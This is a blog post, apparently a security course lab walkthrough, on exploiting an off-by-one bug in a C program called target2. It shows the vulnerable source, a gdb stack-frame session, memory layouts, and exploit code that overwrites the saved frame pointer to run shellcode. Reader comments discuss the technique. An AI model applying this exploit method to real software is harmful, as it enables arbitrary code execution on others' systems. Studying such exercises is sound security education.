Blog Bug's

bugging blogs

on Target 2…

Suggested readings :
The Frame Pointer Overwrite
On Target 1

Examining /tmp/target2 in Detail

code of executable /tmp/target2 (target2.c) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void nstrcpy(char *out, int outl, char *in)
{
  int i, len;

  len = strlen(in);
  if (len > outl)
    len = outl;

  for (i = 0; i <= len; i++)
    out[i] = in[i];
}

void bar(char *arg)
{
  char buf[200];

  nstrcpy(buf, sizeof buf, arg);
}

void foo(char *argv[])
{
  bar(argv[1]);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target2: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv);
  return 0;
}

You may think that the code above is not exploitable since strncpy function checks the length of arg (in in strncpy) in bar and the function (strncpy) sees to it that in‘s length does not exceed out‘s length (see lines 9 to 11). Thus, copying hopes not to exceed buf‘s (buf[200]) length (buf is out in strncpy function). The bug in the code is on this statement, i <= len on line 13, of the for loop. It should be just, i < len, or copying will be off by one byte should in‘s length is greater than out‘s. Constructing an exploit program (like code below) should consider an input buffer of length at least 202 (200 plus two bytes, a one-off byte and a null byte to terminate the buffer). The one-off byte is also known as the altering byte.

modified code of executable ./sploit2 (sploit2.c) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target2"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[202];
  int i;
  int addr;

  for(i = 0; i < 202; i++) {
    if(i < 201) {
      *(buf + i) = 'a';
    } else {
      *(buf + i) = '\x00';
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

Like in sploit1, use gdb to examine bar‘s frame.

user@box:~/pp1/sploits$ gdb -e sploit2 -s /tmp/target2
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit2
Executing new program: /proc/2729/exe
/proc/2729/exe: Permission denied.
(gdb) break bar
Breakpoint 2 at 0x8048489: file target2.c, line 21.
(gdb) continue
Continuing.
[New process 2729]
[Switching to process 2729]

Breakpoint 2, bar (arg=0xbfffff25 'a' <repeats 200 times>...) at target2.c:21
21	target2.c: No such file or directory.
	in target2.c
(gdb) info frame
Stack level 0, frame at 0xbffffda0:
 eip = 0x8048489 in bar (target2.c:21); saved eip 0x80484be
 called by frame at 0xbffffdb0
 source language c.
 Arglist at 0xbffffd98, args: arg=0xbfffff25 'a' <repeats 200 times>...
 Locals at 0xbffffd98, Previous frame's sp is 0xbffffda0
 Saved registers:
  ebp at 0xbffffd98, eip at 0xbffffd9c
(gdb) x buf
0xbffffcd0:	0xb7fe2b38
(gdb) x 0xbffffd98
0xbffffd98:	0xbffffda8
(gdb) x 0xbffffd9c
0xbffffd9c:	0x080484be
(gdb) x 0xbffffda0
0xbffffda0:	0xbfffff25

With the above results from gdb, we can visualize bar‘s frame as :

[     -local_var-      ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffc--              ][bffffd--   ][bffffd--   ][bffffd--   ]  -> first 3 bytes of addresses
[d0|d1|d2|d3|... ...|97][98|99|9a|9b][9c|9d|9e|9f][a0|a1|a2|a3]  -> last bytes of addresses
[38|2b|fe|b7|...    ...][a8|fd|ff|bf][be|84|04|08][25|ff|ff|bf]  -> data
|------200 bytes-------|

We can only overwrite bar‘s ebp by one byte (last byte a8 above). So, effectively we can change its value on ranges 0xbffffd** (**, the altering byte ranges from 00 to FF). Narrowing the range to something we’re in control, i.e. considering buf‘s address range from 0xbffffcd0 to 0xbffffd97, the altering byte ** (of 0xbffffd**) will only range from 00 to 97. Our goal is to point bar‘s ebp anywhere in the buf‘s range and fool the program that it is a valid previous (foo‘s) frame, with the 1st 4 bytes as its (foo‘s)  ebp and next 4 bytes as its (foo‘s) eip. A sample visualization would be :

[               -local_var-                 ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffc--                                   ][bffffd--   ][bffffd--   ][bffffd--   ]  -> first 3 bytes of addresses
[d0|d1|d2|d3|... ...|90|91|92|93|94|95|96|97][98|99|9a|9b][9c|9d|9e|9f][a0|a1|a2|a3]  -> last bytes of addresses
[38|2b|fe|b7|... ...|xx|xx|xx|xx|d0|fc|ff|bf][90|fd|ff|bf][be|84|04|08][25|ff|ff|bf]  -> data

		            [   -ebp-   |   -eip-   ][ -params-  ]                            -> fake previous frame

In bar‘s frame, ebp‘s new address is 0xbffffd90 with altering byte ‘\x90’. In buf‘s address space, addresses 0xbffffd90 to 0xbffffd93 will be the ebp of the new previous (foo’s) frame and addresses 0xbffffd94 to 0xbffffd97 will be the its (previous frame’s) eip. Like in sploit1, we will use this new (fake) previous (foo‘s) frame eip to control the flow of the program by pointing it to the address of buf, i.e. address 0xbffffcd0.

So finally or buffer overflow should look like this :

[               -local_var-                 ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffc--                                   ][bffffd--   ][bffffd--   ][bffffd--   ]  -> first 3 bytes of addresses
[d0|d1|d2|d3|... ...|90|91|92|93|94|95|96|97][98|99|9a|9b][9c|9d|9e|9f][a0|a1|a2|a3]  -> last bytes of addresses
[38|2b|fe|b7|... ...|xx|xx|xx|xx|d0|fc|ff|bf][a8|fd|ff|bf][be|84|04|08][25|ff|ff|bf]  -> data

[<nop>...                   <shellcode><eip>][ab|00]                                  -> buffer overflow, where ab - altering byte
|--------------------202 bytes---------------------|

to implement, below is a sample edit of the for loop in sploit2.c :

  addr = 0xbffffcd0;
  for(i = 0; i < 202; i++) {
    if(i < (196 - strlen(shellcode))) {
      *(buf + i) = '\x90'; // <nop>
    } else if(i < 196) {
      *(buf + i) = shellcode[i - 196 + strlen(shellcode)]; // <shellcode>
    } else if(i < 200) {
      *(buf + i) = addr >> ((i - 196) * 8); // <eip>
    } else if(i < 201) {
      *(buf + i) = '\x90'; // <altering byte>
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }
posted by ninoy in Hack 101 and have Comments (7)

7 Responses to “on Target 2…”

  1. it was very interesting to read blogs.hulmahan.com.ph
    I want to quote your post in my blog. It can?
    And you et an account on Twitter?

  2. I would like to exchange links with your site blogs.hulmahan.com.ph
    Is this possible?

  3. Ritu says:

    Excellent!!!. What I am unable to understand is that you changed eip/ebp of foo’s such that when function foo returns eip = . Not quite sure if I had additional code in function foo i.e

    int foo (char *argv[])
    {
    bar(argv[1]);
    x = y;
    return;
    }

    I am not sure whether it would it work?

  4. ninoy says:

    just a note, you are not changing the eip and ebp of original foo’s frame, since it(original frame) is outside bar’s frame address space and obviously outside buf’s which you are in control. but you are changing a fake (foo’s) frame within the address space of buf’s and obviously within bar’s frame.

    anyway, yup, adding additional variables to foo() will make its (foo’s) frame bigger. but faking the frame (foo’s) to an address space within buf’s and which you are in control, a carefully crafted content of the buffer will still make it to work.

  5. Ritu says:

    I am not quite sure this is the forum to ask questions, if not let me know please

    I reread hack and description, on a second thought current hack should still work for the code I mentioned in my earlier post.

    If i understand hack correctly, eip/ebp is modified in function bar’s frame such that when function returns from bar, eip is pointing to the address of buf which contains bunch of nops + shellcode and it should work. Note quite sure though…

  6. ninoy says:

    its alright to ask questions here (’cause a lot of students have asked too).

    just another note:
    only ebp of bar’s frame was modified and specifically the last byte (one with lower address). you can’t modify eip of bar’s frame.
    the difference between eip and ebp is that eip should point to the next instruction (i.e. must be a valid machine instruction). a valid machine instruction might be a `nop` (no operation) and/or shellcode. that is why, if it’s possible, you can modify it to point to the address of buf which contains the nop’s and shellcode. ebp on the other hand, should point to the previous (caller’s) frame and the caller’s frame is foo. foo has its own ebp/eip also. anyway, ebp/eip of foo is not our concern since there is no way of controlling (modifying) it. what we can do is fake it. have your own crafted ebp/eip, place it on buf (which you are in control), and make bar’s ebp point to it. in that way, we can fool the code to think a range of addresses within buf is foo’s frame. hope that is more clear.

  7. Ritu says:

    Thanks, not a student but preparing myself for a job interview.

    Any inputs you have so that hack works for the code I showed above. I am just getting myself to think like a hacker so not sure how I should approach it

Place your comment

Please fill your data and comment below.
Name
Email
Website
Your comment